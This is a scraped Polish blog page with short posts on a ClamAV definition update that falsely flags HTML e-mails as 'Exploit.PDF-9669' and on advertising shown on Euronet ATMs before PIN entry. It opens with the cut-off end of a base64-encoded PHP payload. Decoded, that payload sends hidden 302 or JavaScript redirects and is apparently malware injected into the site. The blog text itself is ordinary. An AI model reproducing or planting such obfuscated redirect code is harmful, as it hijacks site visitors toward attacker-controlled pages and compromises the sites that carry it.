jID0gdHJpbSgkdFsxXSk7DQoJCQl9DQoJCX0NCgkJaWYoJHJlbG9jICYmICFzdHJsZW4oc3RycG9zKCRyZWxvYywnMDAwMDEwMjAnKSkpIHsNCgkJCWlmKCFAaGVhZGVyc19zZW50KCkpIHsNCgkJCQlAaGVhZGVyKCJIVFRQLzEuMSAzMDIgRm91bmQiKTsNCgkJCQlAaGVhZGVyKCJWYXJ5OiBBY2NlcHQtRW5jb2RpbmcsVXNlci1BZ2VudCIpOw0KCQkJCUBoZWFkZXIoIkxvY2F0aW9uOiAkcmVsb2MiKTsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiPGgzPlBhZ2UgTW92ZWQ8L2gzPlRoZSBwYWdlIHlvdSBhcmUgdHJ5aW5nIHRvIG9wZW4gaGFzIGJlZW4gbW92ZWQuPGJyPjxicj5Vc2UgdGhlIG5hdmlnYXRpb24gbGlua3Mgb24gdGhlIHJpZ2h0IG9mIHRoaXMgcGFnZSwgdGhlIHNlYXJjaCBib3ggYXQgdGhlIHRvcCwgb3IgdGhlIHNpdGUgbWFwIGxpbmsgYmVsb3cgdG8gZmluZCB0aGUgbmV3IGxvY2F0aW9uIG9mIHRoZSBwYWdlIHlvdSdyZSBzZWVraW5nLjxicj48YnI+Q2xpY2sgdGhlIGxpbmsgYmVsb3cgdG8gZm9sbG93IG5ldyB1cmwuPGJyPjxicj48YSBocmVmPVwiIi4kdS4iXCI+Ii4kdS4iPC9hPiI7DQoJCQkJZWNobyAic2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj5kb2N1bWVudC5sb2NhdGlvbiA9IFwiIi4kdS4iXCI7PC9zY3JpcHQ+IjsNCgkJCX0NCgkJCWV4aXQ7DQoJCX0NCgl9DQp9'));
?>

Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Dzisiaj w nocy aplikacja freshclam pobrała aktualizację definicji wirusowych do ClamAV. Od tej pory, ClamAV w każdym mailu napisanym w HTML’u, wykrywa „Exploit.PDF-9669„. Obecnie trwają pracę nad naprawą tego błędu.

Jako rozwiązanie doraźne, polecam Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Reklama w bankomatach to już codzienność. Kilka dni temu na bankomatach sieci Euronet znalazło się nowe oprogramowanie, a wraz z nim kolejny sposób na przekazywanie konsumentom treści reklamowych.

Po włożeniu i weryfikacji karty, zamiast prośby o PIN możemy zobaczyć reklamę, która sama nie zniknie. Na dole ekranu mamy legendę do dwóch przycisków: więcej szczegółów o produkcie bądź przejście dalej.

Ciekawe kiedy w bankomatach będziemy musieli oglądać filmy reklamowe przed odebraniem gotówki? Później już tylko krok od wprowadzenia np.: szybkiego pytania na temat wyświetlonego filmu, żeby mieć pewność, że użytkownik obejrzał film z należytą uwagą. Dalej można np.: pobierać od banku informacje o sklepach w których Klient robi zakupy i wyświetlać porządnie ztargetowane reklamy. Oby tak dalej …

Comments 1 komentarz »